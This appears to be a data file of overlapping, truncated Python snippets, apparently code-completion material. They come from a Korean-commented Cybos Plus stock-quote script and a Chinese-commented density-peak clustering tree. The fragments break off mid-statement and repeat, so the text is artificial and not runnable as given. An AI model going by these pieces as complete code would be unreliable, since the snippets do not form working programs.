"for all = false, so it waits for anyone timeout,",
"수신 가능 # Request 호출 후 Received 이벤트로 수신 받기",
"me # why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!). #",
"self.name, None) def MessagePump(timeout): waitables = [StopEvent] while 1: rc",
"CP 실시간 통신 object self.name = name # 서비스가 다른",
"class CpCurReply: def __init__(self, objEvent): self.name = \"stockmst\" self.obj =",
"Received 이벤트로 수신 받기 # # 아래는 위 2가지를 비교할",
"COM, DDE, and other # Windowsy things to work properly!",
"에서 데이터를 요청하는 방법은 크게 2가지가 있습니다 # # BlockRequest",
"== win32event.WAIT_TIMEOUT: print('timeout') return pass else: print('exception') raise RuntimeError(\"unexpected win32wait",
"self.name = name # 서비스가 다른 이벤트를 구분하기 위한 이름",
"구분하기 위한 이름 self.caller = caller # callback 을 위해",
"= 'A005930' ############################################################## # 1. BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\")",
"받거나 # 다른 이벤트에 의해 재귀 호출 되는 문제가 있을",
"g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12) #",
"# Wait for all = false, so it waits for",
"exit print('stop event') break elif rc == win32event.WAIT_OBJECT_0 + len(waitables):",
"로 수신 받은 데이터') item = {} item['종목명'] = g_objCodeMgr.CodeToName(code)",
"수 있습니다 # 복잡한 실시간 시세 수신 중에 통신을 해야",
"BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신 가능 #",
"후 Received 이벤트로 수신 받기 # # 아래는 위 2가지를",
"return class CpCurReply: def __init__(self, objEvent): self.name = \"stockmst\" self.obj",
"self.caller = caller # callback 을 위해 보관 def OnReceived(self):",
"caller # callback 을 위해 보관 def OnReceived(self): # 실시간",
"# 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어",
"# 1. BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest()",
"pythoncom from PyQt5.QtWidgets import * import win32com.client import win32event g_objCodeMgr",
"{} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비']",
"API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다 # #",
"def OnReceived(self): # 실시간 처리 - 현재가 주문 체결 if",
"# 다른 이벤트에 의해 재귀 호출 되는 문제가 있을 경우",
"code = 'A005930' ############################################################## # 1. BlockRequest print('#####################################') objStockMst =",
"wm_quit message elif rc == win32event.WAIT_TIMEOUT: print('timeout') return pass else:"
] |
[
"def printTree2(self,parent_id,spaceStr=''): for node_id in self.node_dir: if(node_id==self.root_node.node_id): continue node =",
"= np.array([],dtype=np.int32) offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist =",
"if(len(pairs_nodes)>0): return pairs_nodes else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring])",
"None self.node_offspring = {} self.sorted_gamma_index = None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma):",
"= '') self.printTree2(node.node_id,spaceStr+' ') pass def calcu_subtree_offspring_num(self,node_id): node = self.node_dir[node_id]",
"len(children) if(child_num==0): self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist= list(offspring_idlist) +",
"in connected_nodes_index: pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return np.array(pairs_nodes),",
"if node_id in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0:",
"pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,reliable_node_id,mixin_near_matrix) if(len(pairs_nodes)==0): continue # return pairs_nodes cur_node_offspring",
"= is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes # pass return [] def",
"pass pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps):",
"= node_dir[sorted_gamma_index[0]] self.node_dir = node_dir self.node_count = len(sorted_gamma_index) pass def",
"-1 pass label = 0 for tree_id in cluster_forest: cluster_tree",
"= node_dir self.node_count = len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''): for node_id",
"node.removeChild(child_id) self.node_count = self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id in self.node_offspring.keys()): for",
"return self.offspring_num def getLvl(self): return self.lvl class DPTree(): def __init__(self):",
"i in range(len(not_reliable_nodes)): pairs_nodes, connected_nodes = tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes =",
"= parent_node parent_node = node_dir[parent_id] cur_node = node_dir[node_id] if(node_id !=",
"i not in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i for",
"= [] #* 计算不可直接可达的点: for k in range(len(closest_denser_nodes_id)): near_nodes =",
"- start)) cluster_forest[tree.root_node.node_id] = tree #* 添加根节点的树 return outlier_forest, cluster_forest,",
"np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes # return pairs_nodes",
"closest_denser_nodes_id[k] not in near_nodes: not_direct_reach.append(k) pass not_direct_reach = np.array(not_direct_reach) #",
"节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新 self.node_dir, self.node_count 2. 更新 node_id 节点的",
"删除存储的子孙节点 if(node_id in self.node_offspring.keys()): for node_to_delete in offspring_id: self.node_offspring[node_id].remove(node_to_delete) print(\"删除子孙节点:\",node_to_delete)",
"cluster_forest[node_id] = tree.remove_subtree(node_id) pass pass else: outlier_forest[node_id] = tree.remove_subtree(node_id) pass",
"np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p)) #* 只有一个点的情况返回 0",
"= np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes # return",
"self.node_dir, self.node_count 2. 更新 node_id 节点的 children[], 以及所有父级offspring_num 3. 生成新树",
"createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma 顺序新建节点 node_dir = {} node_created =",
"new_tree.node_dir[i] = removed_node pass new_tree.node_count = offspring_len new_tree.root_node = new_tree.node_dir[child_id]",
"parent_node = Node(parent_id,X[parent_id],parent_id=None,dist_to_parent=closest_dis_denser[parent_id],density=local_density[parent_id],gamma=gamma[parent_id],children=[]) node_created[parent_id] = 1 node_dir[parent_id] = parent_node parent_node",
"pass #todo 修改此处代码 for uncertain_tree_id in uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id]",
"= time.clock() print('切割树耗时 %s' % str(end - start)) cluster_forest[tree.root_node.node_id] =",
"np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes # return pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度",
"self.offspring_num = num def setLvl(self,lvl): self.lvl = lvl def getAttr(self):",
"if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id] = tree.remove_subtree(node_id)",
"设置父级 offspring_num: # while(cur_id!=parent_id): # parent_node = self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None):",
"in siblings_reliable] if node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id in",
"def getLvl(self): return self.lvl class DPTree(): def __init__(self): self.node_count =",
"= self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1 for i",
"node = tree.node_dir[node_id] parent_id = node.parent_id parent_node = tree.node_dir[parent_id] children",
"import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier",
"= [] def setParentId(self,parent_id): self.parent_id = parent_id def setOffspringNum(self,num): self.offspring_num",
"= tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0: connected_nodes =",
"node_id==61589 or node_id == 123593): print(node_id) if node_id in tree.sorted_gamma_index[0:10]:",
"np import copy import matplotlib.pyplot as plt import time def",
"if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes # return pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring",
"children = node.getChildren() child_num = len(children) if(child_num==0): self.node_offspring[node_id] = offspring_idlist",
"uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32) for node_id in uncertain_nodes_id:",
"in children if i not in siblings_reliable] if node_id in",
"split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps: density_connectivity 阈值 使用父子节点的直接距离,与子节点与兄弟节点的连通距离进行聚簇划分; 使用平均密度划分outlier 返回: outlier_forest cluster_forest",
"def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()): return self.node_offspring[node_id] else: node =",
"node_id = self.node_dir[child_id].parent_id node = self.node_dir[node_id] node.removeChild(child_id) self.node_count = self.node_count-offspring_len",
"#* 计算不可直接可达的点: for k in range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k] if",
"cur_label = -1 else: cur_label = unique_labels[np.argmax(counts)] labels[uncertain_nodes_id]=cur_label pass core_points",
"children self.gamma = gamma self.offspring_num = None self.lvl = None",
"{} uncertain_forest = {} not_direct_reach = [] #* 计算不可直接可达的点: for",
"in not_direct_reach] #* 求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i for i in",
"i for i in children if i not in not_direct_reach]",
"is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1. 判断 cur_node",
"if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes",
"根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]): self.node_id = node_id",
"closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id] dist_to_parent = closest_dis_denser[node_id] density = local_density[node_id]",
"= uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes = np.array([],dtype=np.int32) for node_id in uncertain_nodes_id: all_near_nodes",
"if child_id in self.children: return True else: return False def",
"return pairs_nodes else: cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes",
"child_id in self.children: return True else: return False def getOffspringNum(self):",
"None self.lvl = None def addChild(self,child): self.children+=[child] def removeChild(self,child): self.children.remove(child)",
"str(end - start)) cluster_forest[tree.root_node.node_id] = tree #* 添加根节点的树 return outlier_forest,",
"= fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist offspring_idlist= list(offspring_idlist) + child_offspring_idlist pass",
"start = time.clock() while(len(not_direct_reach)>0): #* 判断是否 连通:距离小于阈值,并且密度要大于子树的平均密度 node_id = not_direct_reach.pop()",
"self.children = children self.gamma = gamma self.offspring_num = None self.lvl",
"np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_depth(self,node_id, depth): node =",
"#* closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id] dist_to_parent = closest_dis_denser[node_id] density =",
"0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): ''' 删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回",
"= tree.node_dir[node_id] parent_id = node.parent_id parent_node = tree.node_dir[parent_id] children =",
"return False def getOffspringNum(self): return self.offspring_num def getLvl(self): return self.lvl",
"self.attr_list def getNodeId(self): return self.node_id def getParentId(self): return self.parent_id def",
"if node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id) continue node =",
"node_dir[node_id] if(node_id != parent_id):#* 非根节点 parent_node.addChild(node_id) # parent_lvl = parent_node.getLvl()",
"cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist] = label label = label",
"self.node_id def getParentId(self): return self.parent_id def getDistToParent(self): return self.dist_to_parent def",
"getOffspringNum(self): return self.offspring_num def getLvl(self): return self.lvl class DPTree(): def",
"''' # print(\"删除子节点:\",child_id) offspring_id = self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id) node_id",
"len(connected_nodes_index)>0: connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix):",
"添加根节点的树 return outlier_forest, cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点;",
"outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id]) labels[outlier_idlist] = -1 pass label =",
"setOffspringNum(self,num): self.offspring_num = num def setLvl(self,lvl): self.lvl = lvl def",
"in tree.sorted_gamma_index[0:10]: cluster_forest[node_id] = tree.remove_subtree(node_id) continue node = tree.node_dir[node_id] parent_id",
"= np.mean(local_density) outlier_forest = {} cluster_forest = {} uncertain_forest =",
"is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes # pass return [] def label_these_node_new(outlier_forest,cluster_forest,node_num,uncertain_forest,mixin_near_matrix):",
"= Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1 node_dir[node_id] = node node_dir[node_id].setParentId(parent_id) if(node_created[parent_id]==0):",
"parent_lvl = parent_node.getLvl() # cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息",
"label label = label + 1 pass #todo 修改此处代码 for",
"labels,core_points ''' 密度峰值树; 根据cfsfdp算法生成的局部密度、高密度最近邻距离、决策指标来生成 DPTree; ''' class Node(): def __init__(self,node_id,attr_list,parent_id=None,dist_to_parent=None,density=None,gamma=None,children=[]):",
"0 for tree_id in cluster_forest: cluster_tree = cluster_forest[tree_id] cluster_idlist =",
"p_sum = np.sum(local_density[offspring_id]/closest_dis_denser[offspring_id]) p = (local_density[offspring_id]/closest_dis_denser[offspring_id])/p_sum entropy = -1*np.sum(p*np.log2(p)) #*",
"# cur_id = child_id # parent_id = node_id # #*",
"parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id = parent_id # parent_id = parent_node.parent_id #",
"#%% import numpy as np import copy import matplotlib.pyplot as",
"parent_node.getChildren() siblings_reliable = [ i for i in children if",
"连通度判断方案: 1. 判断 cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断 cur_node",
"self.node_count = 0 self.node_dir = {} self.root_node = None self.node_offspring",
"addChild(self,child): self.children+=[child] def removeChild(self,child): self.children.remove(child) def resetChildren(self): self.children = []",
"pass # all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes = np.unique(all_near_nodes) all_near_nodes =",
"def hasChildren(self,child_id): if child_id in self.children: return True else: return",
"return offspring_idlist offspring_idlist= list(offspring_idlist) + children for i in children:",
"求得兄弟节点,其中兄弟节点不能是不直接可达的点 not_reliable_nodes = [i for i in children if i",
"is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e]) ''' #* 1. if(len(reliable_nodes)==0): return [] for reliable_node_id in",
"i in tree.node_dir: # pass self.root_node = node_dir[sorted_gamma_index[0]] self.node_dir =",
"offspring_one = self.get_subtree_offspring_id(node_id_one,[node_id_one]) offspring_two = self.get_subtree_offspring_id(node_id_two,[node_id_two]) dist = -1 for",
"return outlier_forest, cluster_forest, uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点;",
"if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id = tree.get_subtree_offspring_id(node_id,[node_id]) if(len(offspring_id)<local_density[node_id]): uncertain_forest[node_id]",
"pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring = np.mean(local_density[cur_node_offspring])",
"= self.node_dir[child_id].parent_id node = self.node_dir[node_id] node.removeChild(child_id) self.node_count = self.node_count-offspring_len #*",
"None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据 gamma 顺序新建节点 node_dir =",
"= tree.calcu_neighbor_btw_subtree(cur_node_id,not_reliable_nodes[i],mixin_near_matrix) if(len(pairs_nodes)==0): pairs_nodes = is_connected_new(tree,local_density,dc_eps,not_reliable_nodes[i],reliable_nodes,not_reliable_nodes[i+1:],mixin_near_matrix) if(len(pairs_nodes)>0): return pairs_nodes else:",
"self.attr_list = attr_list self.parent_id = parent_id self.dist_to_parent = dist_to_parent self.density",
"or node_id == 123593): print(node_id) if node_id in tree.sorted_gamma_index[0:10]: cluster_forest[node_id]",
"= [i for i in children if i not in",
"uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id]) pass # all_near_nodes = mixin_near_matrix[uncertain_nodes_id] all_near_nodes",
"np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index for i in range(len(sorted_gamma_index)): node_id =",
"{} node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index for i in",
"= self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) # cur_id = parent_id",
"while(cur_id!=parent_id): # parent_node = self.node_dir[parent_id] # if(parent_node.getOffspringNum()!=None): # parent_node.setOffspringNum(parent_node.getOffspringNum()-offspring_len) #",
"removeChild(self,child): self.children.remove(child) def resetChildren(self): self.children = [] def setParentId(self,parent_id): self.parent_id",
"= {} self.sorted_gamma_index = None pass def createTree(self,X,sorted_gamma_index,closest_node_id,closest_dis_denser,local_density,gamma): #* 根据",
"= local_density[node_id] if(node_created[node_id]==0): node = Node(node_id,attr_list,parent_id,dist_to_parent=dist_to_parent,density=density,gamma[node_id],children=[]) node_created[node_id] = 1 node_dir[node_id]",
"not_reliable_nodes.remove(node_id) if node_id in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if",
"for outlier_id in outlier_forest: outlier_tree = outlier_forest[outlier_id] outlier_idlist = outlier_tree.get_subtree_offspring_id(outlier_id,[outlier_id])",
"return dist, np.unique(connected_nodes) def calcu_depth(self,node_id, depth): node = self.node_dir[node_id] parent_id",
"not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id in siblings_reliable: siblings_reliable.remove(node_id) pairs_nodes = is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix)",
"gamma self.offspring_num = None self.lvl = None def addChild(self,child): self.children+=[child]",
"attr_list = X[node_id] dist_to_parent = closest_dis_denser[node_id] density = local_density[node_id] if(node_created[node_id]==0):",
"self.lvl class DPTree(): def __init__(self): self.node_count = 0 self.node_dir =",
"self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist= list(offspring_idlist) + children for",
"计算两个子树间的连通距离 return: 1. 最短距离 2. 小于距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32)",
"= self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id",
"node_dir self.node_count = len(sorted_gamma_index) pass def printTree2(self,parent_id,spaceStr=''): for node_id in",
"只有一个点的情况返回 0 if(entropy==0): return 0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): '''",
"for i in offspring_id: removed_node = self.node_dir.pop(i) new_tree.node_dir[i] = removed_node",
"print(spaceStr, node.node_id, sep = '') self.printTree2(node.node_id,spaceStr+' ') pass def calcu_subtree_offspring_num(self,node_id):",
"if i not in siblings_reliable] if node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id)",
"child_offspring_idlist = fn_get_subtree_offspring_id(i,[]) self.node_offspring[i] = child_offspring_idlist offspring_idlist= list(offspring_idlist) + child_offspring_idlist",
"for i in range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i] parent_id = closest_node_id[node_id]",
"if(child_num==0): self.node_offspring[node_id] = offspring_idlist return offspring_idlist offspring_idlist= list(offspring_idlist) + children",
"self.gamma = gamma self.offspring_num = None self.lvl = None def",
"= is_connected_new(tree,local_density,dc_eps,node_id,siblings_reliable,not_reliable_nodes,mixin_near_matrix) if len(pairs_nodes)==0: if(node_id==tree.root_node.node_id): continue if(local_density[node_id]-mean_density*dc_eps)>=0: #* 获取子节点个数: offspring_id",
"removed_node = self.node_dir.pop(i) new_tree.node_dir[i] = removed_node pass new_tree.node_count = offspring_len",
"child_num+=cur_offsprings node.setOffspringNum(child_num) return child_num def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 '''",
"import matplotlib.pyplot as plt import time def split_cluster_new(tree,local_density,dc_eps,closest_denser_nodes_id,mixin_near_matrix): ''' dc_eps:",
"顺序新建节点 node_dir = {} node_created = np.zeros(len(sorted_gamma_index)) self.sorted_gamma_index = sorted_gamma_index",
"return pairs_nodes # #* 连通点平均密度大于局部密度阈值,则更新最大相似度 cur_node_offspring = tree.get_subtree_offspring_id(cur_node_id,[cur_node_id]) local_density_cur_offspring =",
"def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return: 邻近的点对 所有邻近点 ''' connected_nodes =",
"return: 1. 最短距离 2. 小于距离阈值的点集 ''' connected_nodes = np.array([],dtype=np.int32) offspring_one",
"self.parent_id def getDistToParent(self): return self.dist_to_parent def getDensity(self): return self.density def",
"remove_subtree(self,child_id): ''' 删除 node_id 节点的子树:child_id, 被删除的子树形成新的树并返回 1. 更新 self.node_dir, self.node_count",
"更新 node_id 节点的 children[], 以及所有父级offspring_num 3. 生成新树 ''' # print(\"删除子节点:\",child_id)",
"parent_id = parent_node.parent_id # pass #* 更新 self.node_dir, 生成新树: new_tree",
"= float('inf') for i in offspring_two: tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist):",
"= np.intersect1d(mixin_near_matrix[i],offspring_one) if len(connected_nodes_index)>0: for j in connected_nodes_index: pairs_nodes.append([i,j]) pass",
"all_near_nodes = np.array([],dtype=np.int32) for node_id in uncertain_nodes_id: all_near_nodes = np.append(all_near_nodes,mixin_near_matrix[node_id])",
"not_reliable_nodes = [i for i in children if i not",
"cur_offsprings = node.getOffspringNum() if(cur_offsprings!=None): return cur_offsprings child_num = len(node.children) if(child_num==0):",
"= self.get_subtree_offspring_id(child_id,[child_id]) offspring_len = len(offspring_id) node_id = self.node_dir[child_id].parent_id node =",
"in range(len(not_direct_reach)): # depth_list_not_direct_reach[i] = tree.node_dir[not_direct_reach[i]].getLvl() depth_list_not_direct_reach[i] = tree.calcu_depth(not_direct_reach[i],0) pass",
"tree_id in cluster_forest: cluster_tree = cluster_forest[tree_id] cluster_idlist = cluster_tree.get_subtree_offspring_id(tree_id,[tree_id]) labels[cluster_idlist]",
"tmp_dist = np.min(dist_mat[i][offspring_one]) if(tmp_dist<dist): dist = tmp_dist pass connected_nodes_index =",
"return dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): ''' 计算两个子树间的邻近点 return: 邻近的点对 所有邻近点",
"判断 cur_node 与 reliable_nodes 是否可达,是则返回;没有则执行2; 2. 判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e])",
"= child_offspring_idlist offspring_idlist= list(offspring_idlist) + child_offspring_idlist pass self.node_offspring[node_id] = offspring_idlist",
"return 0 return entropy/(-1*np.log2(1/(len(offspring_id)))) def remove_subtree(self,child_id): ''' 删除 node_id 节点的子树:child_id,",
"pass pass end = time.clock() print('切割树耗时 %s' % str(end -",
"= self.get_subtree_offspring_id(node_id_two,[node_id_two]) pairs_nodes = [] for i in offspring_two: connected_nodes_index",
"getChildren(self): return self.children def hasChildren(self,child_id): if child_id in self.children: return",
"= sorted_gamma_index for i in range(len(sorted_gamma_index)): node_id = sorted_gamma_index[i] parent_id",
"cur_node.setLvl(parent_lvl+1) else: if(parent_node.getLvl()==None): parent_node.setLvl(0) #* 设置节点层次信息 # for i in",
"是否可达,是则返回;没有则执行2; 2. 判断 cur_node 与 not_reliable_nodes(假设为[a,b,c,d,e]) 是否可达,若与[a,b,c]可达,与[d,e]不可达,执行3; 3. 循环遍历[a,b,c],递归调用本方法 is_connected_entropy(……,cur_node_id=[a],reliable_nodes,not_reliable_nodes=[b,c,d,e])",
"node.setOffspringNum(child_num) return child_num def get_subtree_offspring_id(self,node_id,other_idlist): ''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def",
"closest_node_id[node_id] #* closest_node_id是根据排序后的gamma获得的 attr_list = X[node_id] dist_to_parent = closest_dis_denser[node_id] density",
"self.node_count = self.node_count-offspring_len #* 删除存储的子孙节点 if(node_id in self.node_offspring.keys()): for node_to_delete",
"计算不可直接可达的点: for k in range(len(closest_denser_nodes_id)): near_nodes = mixin_near_matrix[k] if closest_denser_nodes_id[k]",
"if node_id in not_reliable_nodes: not_reliable_nodes.remove(node_id) if node_id in siblings_reliable: siblings_reliable.remove(node_id)",
"connected_nodes = np.r_[[i],connected_nodes,offspring_one[connected_nodes_index]] pass return dist, np.unique(connected_nodes) def calcu_neighbor_btw_subtree(self,node_id_one,node_id_two,mixin_near_matrix): '''",
"pairs_nodes.append([i,j]) pass pass if(len(pairs_nodes)==0): return pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def",
"for i in node.children: cur_offsprings = self.calcu_subtree_offspring_num(i) child_num+=cur_offsprings node.setOffspringNum(child_num) return",
"local_density_cur_offspring = np.mean(local_density[cur_node_offspring]) local_density_connected_nodes = np.mean(local_density[connected_nodes]) if(local_density_connected_nodes>local_density_cur_offspring*dc_eps): return pairs_nodes #",
"uncertain_tree_id in uncertain_forest: uncertain_tree = uncertain_forest[uncertain_tree_id] uncertain_nodes_id = uncertain_tree.get_subtree_offspring_id(uncertain_tree_id,[uncertain_tree_id]) all_near_nodes",
"if(tmp_dist<dist): dist = tmp_dist pass connected_nodes_index = np.where(dist_mat[i][offspring_one]<eps)[0] if len(connected_nodes_index)>0:",
"return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1. 最大相似距离",
"''' 获取所有子孙的node_id 考虑:是否需要存储在node属性中。 ''' def fn_get_subtree_offspring_id(node_id,offspring_idlist): if(node_id in self.node_offspring.keys()): return",
"uncertain_forest def is_connected_new(tree,local_density,dc_eps,cur_node_id,reliable_nodes,not_reliable_nodes,mixin_near_matrix): ''' cur_node: 当前待判断与父节点连通度的点; reliable_nodes:兄弟节点中与父节点直接相连的点; not_reliable_nodes:兄弟节点中不与父节点直接相连的点,但可能间接相连; 连通度判断方案: 1.",
"pairs_nodes,connected_nodes return np.array(pairs_nodes), np.unique(np.array(pairs_nodes).flatten()) def calcu_dist_betw_subtree_entropy(self,node_id_one,node_id_two,dist_mat,eps): ''' 计算两个子树间的连通距离 return: 1.",
